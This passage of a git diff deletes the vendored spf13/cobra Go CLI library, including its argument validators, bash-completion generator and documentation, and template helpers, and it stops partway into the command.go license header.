distance of 2 (ignoring case) will be displayed as a suggestion. - -If you need to disable suggestions or tweak the string distance in your command, use: - -```go -command.DisableSuggestions = true -``` - -or - -```go -command.SuggestionsMinimumDistance = 1 -``` - -You can also explicitly set names for which a given command will be suggested using the `SuggestFor` attribute. This allows suggestions for strings that are not close in terms of string distance, but makes sense in your set of commands and for some which you don't want aliases. Example: - -``` -$ kubectl remove -Error: unknown command "remove" for "kubectl" - -Did you mean this? - delete - -Run 'kubectl help' for usage. -``` - -## Generating Markdown-formatted documentation for your command - -Cobra can generate a Markdown-formatted document based on the subcommands, flags, etc. A simple example of how to do this for your command can be found in [Markdown Docs](doc/md_docs.md). - -## Generating man pages for your command - -Cobra can generate a man page based on the subcommands, flags, etc. A simple example of how to do this for your command can be found in [Man Docs](doc/man_docs.md). - -## Generating bash completions for your command - -Cobra can generate a bash-completion file. If you add more information to your command, these completions can be amazingly powerful and flexible. Read more about it in [Bash Completions](bash_completions.md). - - -## Extensions - -Libraries for extending Cobra: - -* [cmdns](https://github.com/gosuri/cmdns): Enables name spacing a command's immediate children. It provides an alternative way to structure subcommands, similar to `heroku apps:create` and `ovrclk clusters:launch`. - -## Contributing - -1. Fork it -2. Create your feature branch (`git checkout -b my-new-feature`) -3. Commit your changes (`git commit -am 'Add some feature'`) -4. Push to the branch (`git push origin my-new-feature`) -5. Create new Pull Request - -## Contributors - -Names in no particular order: - -* [spf13](https://github.com/spf13), -[eparis](https://github.com/eparis), -[bep](https://github.com/bep), and many more! - -## License - -Cobra is released under the Apache 2.0 license. See [LICENSE.txt](https://github.com/spf13/cobra/blob/master/LICENSE.txt) diff --git a/vendor/github.com/spf13/cobra/args.go b/vendor/github.com/spf13/cobra/args.go deleted file mode 100644 index 94a6ca2737..0000000000 --- a/vendor/github.com/spf13/cobra/args.go +++ /dev/null @@ -1,98 +0,0 @@ -package cobra - -import ( - "fmt" -) - -type PositionalArgs func(cmd *Command, args []string) error - -// Legacy arg validation has the following behaviour: -// - root commands with no subcommands can take arbitrary arguments -// - root commands with subcommands will do subcommand validity checking -// - subcommands will always accept arbitrary arguments -func legacyArgs(cmd *Command, args []string) error { - // no subcommand, always take args - if !cmd.HasSubCommands() { - return nil - } - - // root command with subcommands, do subcommand checking - if !cmd.HasParent() && len(args) > 0 { - return fmt.Errorf("unknown command %q for %q%s", args[0], cmd.CommandPath(), cmd.findSuggestions(args[0])) - } - return nil -} - -// NoArgs returns an error if any args are included -func NoArgs(cmd *Command, args []string) error { - if len(args) > 0 { - return fmt.Errorf("unknown command %q for %q", args[0], cmd.CommandPath()) - } - return nil -} - -// OnlyValidArgs returns an error if any args are not in the list of ValidArgs -func OnlyValidArgs(cmd *Command, args []string) error { - if len(cmd.ValidArgs) > 0 { - for _, v := range args { - if !stringInSlice(v, cmd.ValidArgs) { - return fmt.Errorf("invalid argument %q for %q%s", v, cmd.CommandPath(), cmd.findSuggestions(args[0])) - } - } - } - return nil -} - -func stringInSlice(a string, list []string) bool { - for _, b := range list { - if b == a { - return true - } - } - return false -} - -// ArbitraryArgs never returns an error -func ArbitraryArgs(cmd *Command, args []string) error { - return nil -} - -// MinimumNArgs returns an error if there is not at least N args -func MinimumNArgs(n int) PositionalArgs { - return func(cmd *Command, args []string) error { - if len(args) < n { - return fmt.Errorf("requires at least %d arg(s), only received %d", n, len(args)) - } - return nil - } -} - -// MaximumNArgs returns an error if there are more than N args -func MaximumNArgs(n int) PositionalArgs { - return func(cmd *Command, args []string) error { - if len(args) > n { - return fmt.Errorf("accepts at most %d arg(s), received %d", n, len(args)) - } - return nil - } -} - -// ExactArgs returns an error if there are not exactly n args -func ExactArgs(n int) PositionalArgs { - return func(cmd *Command, args []string) error { - if len(args) != n { - return fmt.Errorf("accepts %d arg(s), received %d", n, len(args)) - } - return nil - } -} - -// RangeArgs returns an error if the number of args is not within the expected range -func RangeArgs(min int, max int) PositionalArgs { - return func(cmd *Command, args []string) error { - if len(args) < min || len(args) > max { - return fmt.Errorf("accepts between %d and %d arg(s), received %d", min, max, len(args)) - } - return nil - } -} diff --git a/vendor/github.com/spf13/cobra/bash_completions.go b/vendor/github.com/spf13/cobra/bash_completions.go deleted file mode 100644 index e402065ddd..0000000000 --- a/vendor/github.com/spf13/cobra/bash_completions.go +++ /dev/null @@ -1,537 +0,0 @@ -package cobra - -import ( - "bytes" - "fmt" - "io" - "os" - "sort" - "strings" - - "github.com/spf13/pflag" -) - -// Annotations for Bash completion. -const ( - BashCompFilenameExt = "cobra_annotation_bash_completion_filename_extensions" - BashCompCustom = "cobra_annotation_bash_completion_custom" - BashCompOneRequiredFlag = "cobra_annotation_bash_completion_one_required_flag" - BashCompSubdirsInDir = "cobra_annotation_bash_completion_subdirs_in_dir" -) - -func writePreamble(buf *bytes.Buffer, name string) { - buf.WriteString(fmt.Sprintf("# bash completion for %-36s -*- shell-script -*-\n", name)) - buf.WriteString(` -__debug() -{ - if [[ -n ${BASH_COMP_DEBUG_FILE} ]]; then - echo "$*" >> "${BASH_COMP_DEBUG_FILE}" - fi -} - -# Homebrew on Macs have version 1.3 of bash-completion which doesn't include -# _init_completion. This is a very minimal version of that function. -__my_init_completion() -{ - COMPREPLY=() - _get_comp_words_by_ref "$@" cur prev words cword -} - -__index_of_word() -{ - local w word=$1 - shift - index=0 - for w in "$@"; do - [[ $w = "$word" ]] && return - index=$((index+1)) - done - index=-1 -} - -__contains_word() -{ - local w word=$1; shift - for w in "$@"; do - [[ $w = "$word" ]] && return - done - return 1 -} - -__handle_reply() -{ - __debug "${FUNCNAME[0]}" - case $cur in - -*) - if [[ $(type -t compopt) = "builtin" ]]; then - compopt -o nospace - fi - local allflags - if [ ${#must_have_one_flag[@]} -ne 0 ]; then - allflags=("${must_have_one_flag[@]}") - else - allflags=("${flags[*]} ${two_word_flags[*]}") - fi - COMPREPLY=( $(compgen -W "${allflags[*]}" -- "$cur") ) - if [[ $(type -t compopt) = "builtin" ]]; then - [[ "${COMPREPLY[0]}" == *= ]] || compopt +o nospace - fi - - # complete after --flag=abc - if [[ $cur == *=* ]]; then - if [[ $(type -t compopt) = "builtin" ]]; then - compopt +o nospace - fi - - local index flag - flag="${cur%%=*}" - __index_of_word "${flag}" "${flags_with_completion[@]}" - COMPREPLY=() - if [[ ${index} -ge 0 ]]; then - PREFIX="" - cur="${cur#*=}" - ${flags_completion[${index}]} - if [ -n "${ZSH_VERSION}" ]; then - # zfs completion needs --flag= prefix - eval "COMPREPLY=( \"\${COMPREPLY[@]/#/${flag}=}\" )" - fi - fi - fi - return 0; - ;; - esac - - # check if we are handling a flag with special work handling - local index - __index_of_word "${prev}" "${flags_with_completion[@]}" - if [[ ${index} -ge 0 ]]; then - ${flags_completion[${index}]} - return - fi - - # we are parsing a flag and don't have a special handler, no completion - if [[ ${cur} != "${words[cword]}" ]]; then - return - fi - - local completions - completions=("${commands[@]}") - if [[ ${#must_have_one_noun[@]} -ne 0 ]]; then - completions=("${must_have_one_noun[@]}") - fi - if [[ ${#must_have_one_flag[@]} -ne 0 ]]; then - completions+=("${must_have_one_flag[@]}") - fi - COMPREPLY=( $(compgen -W "${completions[*]}" -- "$cur") ) - - if [[ ${#COMPREPLY[@]} -eq 0 && ${#noun_aliases[@]} -gt 0 && ${#must_have_one_noun[@]} -ne 0 ]]; then - COMPREPLY=( $(compgen -W "${noun_aliases[*]}" -- "$cur") ) - fi - - if [[ ${#COMPREPLY[@]} -eq 0 ]]; then - declare -F __custom_func >/dev/null && __custom_func - fi - - # available in bash-completion >= 2, not always present on macOS - if declare -F __ltrim_colon_completions >/dev/null; then - __ltrim_colon_completions "$cur" - fi -} - -# The arguments should be in the form "ext1|ext2|extn" -__handle_filename_extension_flag() -{ - local ext="$1" - _filedir "@(${ext})" -} - -__handle_subdirs_in_dir_flag() -{ - local dir="$1" - pushd "${dir}" >/dev/null 2>&1 && _filedir -d && popd >/dev/null 2>&1 -} - -__handle_flag() -{ - __debug "${FUNCNAME[0]}: c is $c words[c] is ${words[c]}" - - # if a command required a flag, and we found it, unset must_have_one_flag() - local flagname=${words[c]} - local flagvalue - # if the word contained an = - if [[ ${words[c]} == *"="* ]]; then - flagvalue=${flagname#*=} # take in as flagvalue after the = - flagname=${flagname%%=*} # strip everything after the = - flagname="${flagname}=" # but put the = back - fi - __debug "${FUNCNAME[0]}: looking for ${flagname}" - if __contains_word "${flagname}" "${must_have_one_flag[@]}"; then - must_have_one_flag=() - fi - - # if you set a flag which only applies to this command, don't show subcommands - if __contains_word "${flagname}" "${local_nonpersistent_flags[@]}"; then - commands=() - fi - - # keep flag value with flagname as flaghash - if [ -n "${flagvalue}" ] ; then - flaghash[${flagname}]=${flagvalue} - elif [ -n "${words[ $((c+1)) ]}" ] ; then - flaghash[${flagname}]=${words[ $((c+1)) ]} - else - flaghash[${flagname}]="true" # pad "true" for bool flag - fi - - # skip the argument to a two word flag - if __contains_word "${words[c]}" "${two_word_flags[@]}"; then - c=$((c+1)) - # if we are looking for a flags value, don't show commands - if [[ $c -eq $cword ]]; then - commands=() - fi - fi - - c=$((c+1)) - -} - -__handle_noun() -{ - __debug "${FUNCNAME[0]}: c is $c words[c] is ${words[c]}" - - if __contains_word "${words[c]}" "${must_have_one_noun[@]}"; then - must_have_one_noun=() - elif __contains_word "${words[c]}" "${noun_aliases[@]}"; then - must_have_one_noun=() - fi - - nouns+=("${words[c]}") - c=$((c+1)) -} - -__handle_command() -{ - __debug "${FUNCNAME[0]}: c is $c words[c] is ${words[c]}" - - local next_command - if [[ -n ${last_command} ]]; then - next_command="_${last_command}_${words[c]//:/__}" - else - if [[ $c -eq 0 ]]; then - next_command="_$(basename "${words[c]//:/__}")" - else - next_command="_${words[c]//:/__}" - fi - fi - c=$((c+1)) - __debug "${FUNCNAME[0]}: looking for ${next_command}" - declare -F "$next_command" >/dev/null && $next_command -} - -__handle_word() -{ - if [[ $c -ge $cword ]]; then - __handle_reply - return - fi - __debug "${FUNCNAME[0]}: c is $c words[c] is ${words[c]}" - if [[ "${words[c]}" == -* ]]; then - __handle_flag - elif __contains_word "${words[c]}" "${commands[@]}"; then - __handle_command - elif [[ $c -eq 0 ]] && __contains_word "$(basename "${words[c]}")" "${commands[@]}"; then - __handle_command - else - __handle_noun - fi - __handle_word -} - -`) -} - -func writePostscript(buf *bytes.Buffer, name string) { - name = strings.Replace(name, ":", "__", -1) - buf.WriteString(fmt.Sprintf("__start_%s()\n", name)) - buf.WriteString(fmt.Sprintf(`{ - local cur prev words cword - declare -A flaghash 2>/dev/null || : - if declare -F _init_completion >/dev/null 2>&1; then - _init_completion -s || return - else - __my_init_completion -n "=" || return - fi - - local c=0 - local flags=() - local two_word_flags=() - local local_nonpersistent_flags=() - local flags_with_completion=() - local flags_completion=() - local commands=("%s") - local must_have_one_flag=() - local must_have_one_noun=() - local last_command - local nouns=() - - __handle_word -} - -`, name)) - buf.WriteString(fmt.Sprintf(`if [[ $(type -t compopt) = "builtin" ]]; then - complete -o default -F __start_%s %s -else - complete -o default -o nospace -F __start_%s %s -fi - -`, name, name, name, name)) - buf.WriteString("# ex: ts=4 sw=4 et filetype=sh\n") -} - -func writeCommands(buf *bytes.Buffer, cmd *Command) { - buf.WriteString(" commands=()\n") - for _, c := range cmd.Commands() { - if !c.IsAvailableCommand() || c == cmd.helpCommand { - continue - } - buf.WriteString(fmt.Sprintf(" commands+=(%q)\n", c.Name())) - } - buf.WriteString("\n") -} - -func writeFlagHandler(buf *bytes.Buffer, name string, annotations map[string][]string) { - for key, value := range annotations { - switch key { - case BashCompFilenameExt: - buf.WriteString(fmt.Sprintf(" flags_with_completion+=(%q)\n", name)) - - var ext string - if len(value) > 0 { - ext = "__handle_filename_extension_flag " + strings.Join(value, "|") - } else { - ext = "_filedir" - } - buf.WriteString(fmt.Sprintf(" flags_completion+=(%q)\n", ext)) - case BashCompCustom: - buf.WriteString(fmt.Sprintf(" flags_with_completion+=(%q)\n", name)) - if len(value) > 0 { - handlers := strings.Join(value, "; ") - buf.WriteString(fmt.Sprintf(" flags_completion+=(%q)\n", handlers)) - } else { - buf.WriteString(" flags_completion+=(:)\n") - } - case BashCompSubdirsInDir: - buf.WriteString(fmt.Sprintf(" flags_with_completion+=(%q)\n", name)) - - var ext string - if len(value) == 1 { - ext = "__handle_subdirs_in_dir_flag " + value[0] - } else { - ext = "_filedir -d" - } - buf.WriteString(fmt.Sprintf(" flags_completion+=(%q)\n", ext)) - } - } -} - -func writeShortFlag(buf *bytes.Buffer, flag *pflag.Flag) { - name := flag.Shorthand - format := " " - if len(flag.NoOptDefVal) == 0 { - format += "two_word_" - } - format += "flags+=(\"-%s\")\n" - buf.WriteString(fmt.Sprintf(format, name)) - writeFlagHandler(buf, "-"+name, flag.Annotations) -} - -func writeFlag(buf *bytes.Buffer, flag *pflag.Flag) { - name := flag.Name - format := " flags+=(\"--%s" - if len(flag.NoOptDefVal) == 0 { - format += "=" - } - format += "\")\n" - buf.WriteString(fmt.Sprintf(format, name)) - writeFlagHandler(buf, "--"+name, flag.Annotations) -} - -func writeLocalNonPersistentFlag(buf *bytes.Buffer, flag *pflag.Flag) { - name := flag.Name - format := " local_nonpersistent_flags+=(\"--%s" - if len(flag.NoOptDefVal) == 0 { - format += "=" - } - format += "\")\n" - buf.WriteString(fmt.Sprintf(format, name)) -} - -func writeFlags(buf *bytes.Buffer, cmd *Command) { - buf.WriteString(` flags=() - two_word_flags=() - local_nonpersistent_flags=() - flags_with_completion=() - flags_completion=() - -`) - localNonPersistentFlags := cmd.LocalNonPersistentFlags() - cmd.NonInheritedFlags().VisitAll(func(flag *pflag.Flag) { - if nonCompletableFlag(flag) { - return - } - writeFlag(buf, flag) - if len(flag.Shorthand) > 0 { - writeShortFlag(buf, flag) - } - if localNonPersistentFlags.Lookup(flag.Name) != nil { - writeLocalNonPersistentFlag(buf, flag) - } - }) - cmd.InheritedFlags().VisitAll(func(flag *pflag.Flag) { - if nonCompletableFlag(flag) { - return - } - writeFlag(buf, flag) - if len(flag.Shorthand) > 0 { - writeShortFlag(buf, flag) - } - }) - - buf.WriteString("\n") -} - -func writeRequiredFlag(buf *bytes.Buffer, cmd *Command) { - buf.WriteString(" must_have_one_flag=()\n") - flags := cmd.NonInheritedFlags() - flags.VisitAll(func(flag *pflag.Flag) { - if nonCompletableFlag(flag) { - return - } - for key := range flag.Annotations { - switch key { - case BashCompOneRequiredFlag: - format := " must_have_one_flag+=(\"--%s" - if flag.Value.Type() != "bool" { - format += "=" - } - format += "\")\n" - buf.WriteString(fmt.Sprintf(format, flag.Name)) - - if len(flag.Shorthand) > 0 { - buf.WriteString(fmt.Sprintf(" must_have_one_flag+=(\"-%s\")\n", flag.Shorthand)) - } - } - } - }) -} - -func writeRequiredNouns(buf *bytes.Buffer, cmd *Command) { - buf.WriteString(" must_have_one_noun=()\n") - sort.Sort(sort.StringSlice(cmd.ValidArgs)) - for _, value := range cmd.ValidArgs { - buf.WriteString(fmt.Sprintf(" must_have_one_noun+=(%q)\n", value)) - } -} - -func writeArgAliases(buf *bytes.Buffer, cmd *Command) { - buf.WriteString(" noun_aliases=()\n") - sort.Sort(sort.StringSlice(cmd.ArgAliases)) - for _, value := range cmd.ArgAliases { - buf.WriteString(fmt.Sprintf(" noun_aliases+=(%q)\n", value)) - } -} - -func gen(buf *bytes.Buffer, cmd *Command) { - for _, c := range cmd.Commands() { - if !c.IsAvailableCommand() || c == cmd.helpCommand { - continue - } - gen(buf, c) - } - commandName := cmd.CommandPath() - commandName = strings.Replace(commandName, " ", "_", -1) - commandName = strings.Replace(commandName, ":", "__", -1) - buf.WriteString(fmt.Sprintf("_%s()\n{\n", commandName)) - buf.WriteString(fmt.Sprintf(" last_command=%q\n", commandName)) - writeCommands(buf, cmd) - writeFlags(buf, cmd) - writeRequiredFlag(buf, cmd) - writeRequiredNouns(buf, cmd) - writeArgAliases(buf, cmd) - buf.WriteString("}\n\n") -} - -// GenBashCompletion generates bash completion file and writes to the passed writer. -func (c *Command) GenBashCompletion(w io.Writer) error { - buf := new(bytes.Buffer) - writePreamble(buf, c.Name()) - if len(c.BashCompletionFunction) > 0 { - buf.WriteString(c.BashCompletionFunction + "\n") - } - gen(buf, c) - writePostscript(buf, c.Name()) - - _, err := buf.WriteTo(w) - return err -} - -func nonCompletableFlag(flag *pflag.Flag) bool { - return flag.Hidden || len(flag.Deprecated) > 0 -} - -// GenBashCompletionFile generates bash completion file. -func (c *Command) GenBashCompletionFile(filename string) error { - outFile, err := os.Create(filename) - if err != nil { - return err - } - defer outFile.Close() - - return c.GenBashCompletion(outFile) -} - -// MarkFlagRequired adds the BashCompOneRequiredFlag annotation to the named flag, if it exists. -func (c *Command) MarkFlagRequired(name string) error { - return MarkFlagRequired(c.Flags(), name) -} - -// MarkPersistentFlagRequired adds the BashCompOneRequiredFlag annotation to the named persistent flag, if it exists. -func (c *Command) MarkPersistentFlagRequired(name string) error { - return MarkFlagRequired(c.PersistentFlags(), name) -} - -// MarkFlagRequired adds the BashCompOneRequiredFlag annotation to the named flag in the flag set, if it exists. -func MarkFlagRequired(flags *pflag.FlagSet, name string) error { - return flags.SetAnnotation(name, BashCompOneRequiredFlag, []string{"true"}) -} - -// MarkFlagFilename adds the BashCompFilenameExt annotation to the named flag, if it exists. -// Generated bash autocompletion will select filenames for the flag, limiting to named extensions if provided. -func (c *Command) MarkFlagFilename(name string, extensions ...string) error { - return MarkFlagFilename(c.Flags(), name, extensions...) -} - -// MarkFlagCustom adds the BashCompCustom annotation to the named flag, if it exists. -// Generated bash autocompletion will call the bash function f for the flag. -func (c *Command) MarkFlagCustom(name string, f string) error { - return MarkFlagCustom(c.Flags(), name, f) -} - -// MarkPersistentFlagFilename adds the BashCompFilenameExt annotation to the named persistent flag, if it exists. -// Generated bash autocompletion will select filenames for the flag, limiting to named extensions if provided. -func (c *Command) MarkPersistentFlagFilename(name string, extensions ...string) error { - return MarkFlagFilename(c.PersistentFlags(), name, extensions...) -} - -// MarkFlagFilename adds the BashCompFilenameExt annotation to the named flag in the flag set, if it exists. -// Generated bash autocompletion will select filenames for the flag, limiting to named extensions if provided. -func MarkFlagFilename(flags *pflag.FlagSet, name string, extensions ...string) error { - return flags.SetAnnotation(name, BashCompFilenameExt, extensions) -} - -// MarkFlagCustom adds the BashCompCustom annotation to the named flag in the flag set, if it exists. -// Generated bash autocompletion will call the bash function f for the flag. -func MarkFlagCustom(flags *pflag.FlagSet, name string, f string) error { - return flags.SetAnnotation(name, BashCompCustom, []string{f}) -} diff --git a/vendor/github.com/spf13/cobra/bash_completions.md b/vendor/github.com/spf13/cobra/bash_completions.md deleted file mode 100644 index 52bd39ddb1..0000000000 --- a/vendor/github.com/spf13/cobra/bash_completions.md +++ /dev/null @@ -1,206 +0,0 @@ -# Generating Bash Completions For Your Own cobra.Command - -Generating bash completions from a cobra command is incredibly easy. An actual program which does so for the kubernetes kubectl binary is as follows: - -```go -package main - -import ( - "io/ioutil" - "os" - - "github.com/GoogleCloudPlatform/kubernetes/pkg/kubectl/cmd" -) - -func main() { - kubectl := cmd.NewFactory(nil).NewKubectlCommand(os.Stdin, ioutil.Discard, ioutil.Discard) - kubectl.GenBashCompletionFile("out.sh") -} -``` - -`out.sh` will get you completions of subcommands and flags. Copy it to `/etc/bash_completion.d/` as described [here](https://debian-administration.org/article/316/An_introduction_to_bash_completion_part_1) and reset your terminal to use autocompletion. If you make additional annotations to your code, you can get even more intelligent and flexible behavior. - -## Creating your own custom functions - -Some more actual code that works in kubernetes: - -```bash -const ( - bash_completion_func = `__kubectl_parse_get() -{ - local kubectl_output out - if kubectl_output=$(kubectl get --no-headers "$1" 2>/dev/null); then - out=($(echo "${kubectl_output}" | awk '{print $1}')) - COMPREPLY=( $( compgen -W "${out[*]}" -- "$cur" ) ) - fi -} - -__kubectl_get_resource() -{ - if [[ ${#nouns[@]} -eq 0 ]]; then - return 1 - fi - __kubectl_parse_get ${nouns[${#nouns[@]} -1]} - if [[ $? -eq 0 ]]; then - return 0 - fi -} - -__custom_func() { - case ${last_command} in - kubectl_get | kubectl_describe | kubectl_delete | kubectl_stop) - __kubectl_get_resource - return - ;; - *) - ;; - esac -} -`) -``` - -And then I set that in my command definition: - -```go -cmds := &cobra.Command{ - Use: "kubectl", - Short: "kubectl controls the Kubernetes cluster manager", - Long: `kubectl controls the Kubernetes cluster manager. - -Find more information at https://github.com/GoogleCloudPlatform/kubernetes.`, - Run: runHelp, - BashCompletionFunction: bash_completion_func, -} -``` - -The `BashCompletionFunction` option is really only valid/useful on the root command. Doing the above will cause `__custom_func()` to be called when the built in processor was unable to find a solution. In the case of kubernetes a valid command might look something like `kubectl get pod [mypod]`. If you type `kubectl get pod [tab][tab]` the `__customc_func()` will run because the cobra.Command only understood "kubectl" and "get." `__custom_func()` will see that the cobra.Command is "kubectl_get" and will thus call another helper `__kubectl_get_resource()`. `__kubectl_get_resource` will look at the 'nouns' collected. In our example the only noun will be `pod`. So it will call `__kubectl_parse_get pod`. `__kubectl_parse_get` will actually call out to kubernetes and get any pods. It will then set `COMPREPLY` to valid pods! - -## Have the completions code complete your 'nouns' - -In the above example "pod" was assumed to already be typed. But if you want `kubectl get [tab][tab]` to show a list of valid "nouns" you have to set them. Simplified code from `kubectl get` looks like: - -```go -validArgs []string = { "pod", "node", "service", "replicationcontroller" } - -cmd := &cobra.Command{ - Use: "get [(-o|--output=)json|yaml|template|...] (RESOURCE [NAME] | RESOURCE/NAME ...)", - Short: "Display one or many resources", - Long: get_long, - Example: get_example, - Run: func(cmd *cobra.Command, args []string) { - err := RunGet(f, out, cmd, args) - util.CheckErr(err) - }, - ValidArgs: validArgs, -} -``` - -Notice we put the "ValidArgs" on the "get" subcommand. Doing so will give results like - -```bash -# kubectl get [tab][tab] -node pod replicationcontroller service -``` - -## Plural form and shortcuts for nouns - -If your nouns have a number of aliases, you can define them alongside `ValidArgs` using `ArgAliases`: - -```go -argAliases []string = { "pods", "nodes", "services", "svc", "replicationcontrollers", "rc" } - -cmd := &cobra.Command{ - ... - ValidArgs: validArgs, - ArgAliases: argAliases -} -``` - -The aliases are not shown to the user on tab completion, but they are accepted as valid nouns by -the completion algorithm if entered manually, e.g. in: - -```bash -# kubectl get rc [tab][tab] -backend frontend database -``` - -Note that without declaring `rc` as an alias, the completion algorithm would show the list of nouns -in this example again instead of the replication controllers. - -## Mark flags as required - -Most of the time completions will only show subcommands. But if a flag is required to make a subcommand work, you probably want it to show up when the user types [tab][tab]. Marking a flag as 'Required' is incredibly easy. - -```go -cmd.MarkFlagRequired("pod") -cmd.MarkFlagRequired("container") -``` - -and you'll get something like - -```bash -# kubectl exec [tab][tab][tab] --c --container= -p --pod= -``` - -# Specify valid filename extensions for flags that take a filename - -In this example we use --filename= and expect to get a json or yaml file as the argument. To make this easier we annotate the --filename flag with valid filename extensions. - -```go - annotations := []string{"json", "yaml", "yml"} - annotation := make(map[string][]string) - annotation[cobra.BashCompFilenameExt] = annotations - - flag := &pflag.Flag{ - Name: "filename", - Shorthand: "f", - Usage: usage, - Value: value, - DefValue: value.String(), - Annotations: annotation, - } - cmd.Flags().AddFlag(flag) -``` - -Now when you run a command with this filename flag you'll get something like - -```bash -# kubectl create -f -test/ example/ rpmbuild/ -hello.yml test.json -``` - -So while there are many other files in the CWD it only shows me subdirs and those with valid extensions. - -# Specifiy custom flag completion - -Similar to the filename completion and filtering using cobra.BashCompFilenameExt, you can specifiy -a custom flag completion function with cobra.BashCompCustom: - -```go - annotation := make(map[string][]string) - annotation[cobra.BashCompFilenameExt] = []string{"__kubectl_get_namespaces"} - - flag := &pflag.Flag{ - Name: "namespace", - Usage: usage, - Annotations: annotation, - } - cmd.Flags().AddFlag(flag) -``` - -In addition add the `__handle_namespace_flag` implementation in the `BashCompletionFunction` -value, e.g.: - -```bash -__kubectl_get_namespaces() -{ - local template - template="{{ range .items }}{{ .metadata.name }} {{ end }}" - local kubectl_out - if kubectl_out=$(kubectl get -o template --template="${template}" namespace 2>/dev/null); then - COMPREPLY=( $( compgen -W "${kubectl_out}[*]" -- "$cur" ) ) - fi -} -``` diff --git a/vendor/github.com/spf13/cobra/cobra.go b/vendor/github.com/spf13/cobra/cobra.go deleted file mode 100644 index 8928cefc2f..0000000000 --- a/vendor/github.com/spf13/cobra/cobra.go +++ /dev/null @@ -1,190 +0,0 @@ -// Copyright Š 2013 Steve Francia . -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -// Commands similar to git, go tools and other modern CLI tools -// inspired by go, go-Commander, gh and subcommand - -package cobra - -import ( - "fmt" - "io" - "reflect" - "strconv" - "strings" - "text/template" - "unicode" -) - -var templateFuncs = template.FuncMap{ - "trim": strings.TrimSpace, - "trimRightSpace": trimRightSpace, - "trimTrailingWhitespaces": trimRightSpace, - "appendIfNotPresent": appendIfNotPresent, - "rpad": rpad, - "gt": Gt, - "eq": Eq, -} - -var initializers []func() - -// EnablePrefixMatching allows to set automatic prefix matching. Automatic prefix matching can be a dangerous thing -// to automatically enable in CLI tools. -// Set this to true to enable it. -var EnablePrefixMatching = false - -// EnableCommandSorting controls sorting of the slice of commands, which is turned on by default. -// To disable sorting, set it to false. -var EnableCommandSorting = true - -// MousetrapHelpText enables an information splash screen on Windows -// if the CLI is started from explorer.exe. -// To disable the mousetrap, just set this variable to blank string (""). -// Works only on Microsoft Windows. -var MousetrapHelpText string = `This is a command line tool. - -You need to open cmd.exe and run it from there. -` - -// AddTemplateFunc adds a template function that's available to Usage and Help -// template generation. -func AddTemplateFunc(name string, tmplFunc interface{}) { - templateFuncs[name] = tmplFunc -} - -// AddTemplateFuncs adds multiple template functions that are available to Usage and -// Help template generation. -func AddTemplateFuncs(tmplFuncs template.FuncMap) { - for k, v := range tmplFuncs { - templateFuncs[k] = v - } -} - -// OnInitialize takes a series of func() arguments and appends them to a slice of func(). -func OnInitialize(y ...func()) { - initializers = append(initializers, y...) -} - -// FIXME Gt is unused by cobra and should be removed in a version 2. It exists only for compatibility with users of cobra. - -// Gt takes two types and checks whether the first type is greater than the second. In case of types Arrays, Chans, -// Maps and Slices, Gt will compare their lengths. Ints are compared directly while strings are first parsed as -// ints and then compared. -func Gt(a interface{}, b interface{}) bool { - var left, right int64 - av := reflect.ValueOf(a) - - switch av.Kind() { - case reflect.Array, reflect.Chan, reflect.Map, reflect.Slice: - left = int64(av.Len()) - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: - left = av.Int() - case reflect.String: - left, _ = strconv.ParseInt(av.String(), 10, 64) - } - - bv := reflect.ValueOf(b) - - switch bv.Kind() { - case reflect.Array, reflect.Chan, reflect.Map, reflect.Slice: - right = int64(bv.Len()) - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: - right = bv.Int() - case reflect.String: - right, _ = strconv.ParseInt(bv.String(), 10, 64) - } - - return left > right -} - -// FIXME Eq is unused by cobra and should be removed in a version 2. It exists only for compatibility with users of cobra. - -// Eq takes two types and checks whether they are equal. Supported types are int and string. Unsupported types will panic. -func Eq(a interface{}, b interface{}) bool { - av := reflect.ValueOf(a) - bv := reflect.ValueOf(b) - - switch av.Kind() { - case reflect.Array, reflect.Chan, reflect.Map, reflect.Slice: - panic("Eq called on unsupported type") - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: - return av.Int() == bv.Int() - case reflect.String: - return av.String() == bv.String() - } - return false -} - -func trimRightSpace(s string) string { - return strings.TrimRightFunc(s, unicode.IsSpace) -} - -// FIXME appendIfNotPresent is unused by cobra and should be removed in a version 2. It exists only for compatibility with users of cobra. - -// appendIfNotPresent will append stringToAppend to the end of s, but only if it's not yet present in s. -func appendIfNotPresent(s, stringToAppend string) string { - if strings.Contains(s, stringToAppend) { - return s - } - return s + " " + stringToAppend -} - -// rpad adds padding to the right of a string. -func rpad(s string, padding int) string { - template := fmt.Sprintf("%%-%ds", padding) - return fmt.Sprintf(template, s) -} - -// tmpl executes the given template text on data, writing the result to w. -func tmpl(w io.Writer, text string, data interface{}) error { - t := template.New("top") - t.Funcs(templateFuncs) - template.Must(t.Parse(text)) - return t.Execute(w, data) -} - -// ld compares two strings and returns the levenshtein distance between them. -func ld(s, t string, ignoreCase bool) int { - if ignoreCase { - s = strings.ToLower(s) - t = strings.ToLower(t) - } - d := make([][]int, len(s)+1) - for i := range d { - d[i] = make([]int, len(t)+1) - } - for i := range d { - d[i][0] = i - } - for j := range d[0] { - d[0][j] = j - } - for j := 1; j <= len(t); j++ { - for i := 1; i <= len(s); i++ { - if s[i-1] == t[j-1] { - d[i][j] = d[i-1][j-1] - } else { - min := d[i-1][j] - if d[i][j-1] < min { - min = d[i][j-1] - } - if d[i-1][j-1] < min { - min = d[i-1][j-1] - } - d[i][j] = min + 1 - } - } - - } - return d[len(s)][len(t)] -} diff --git a/vendor/github.com/spf13/cobra/command.go b/vendor/github.com/spf13/cobra/command.go deleted file mode 100644 index 185e45263d..0000000000 --- a/vendor/github.com/spf13/cobra/command.go +++ /dev/null @@ -1,1306 +0,0 @@ -// Copyright Š 2013 Steve Francia . -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY 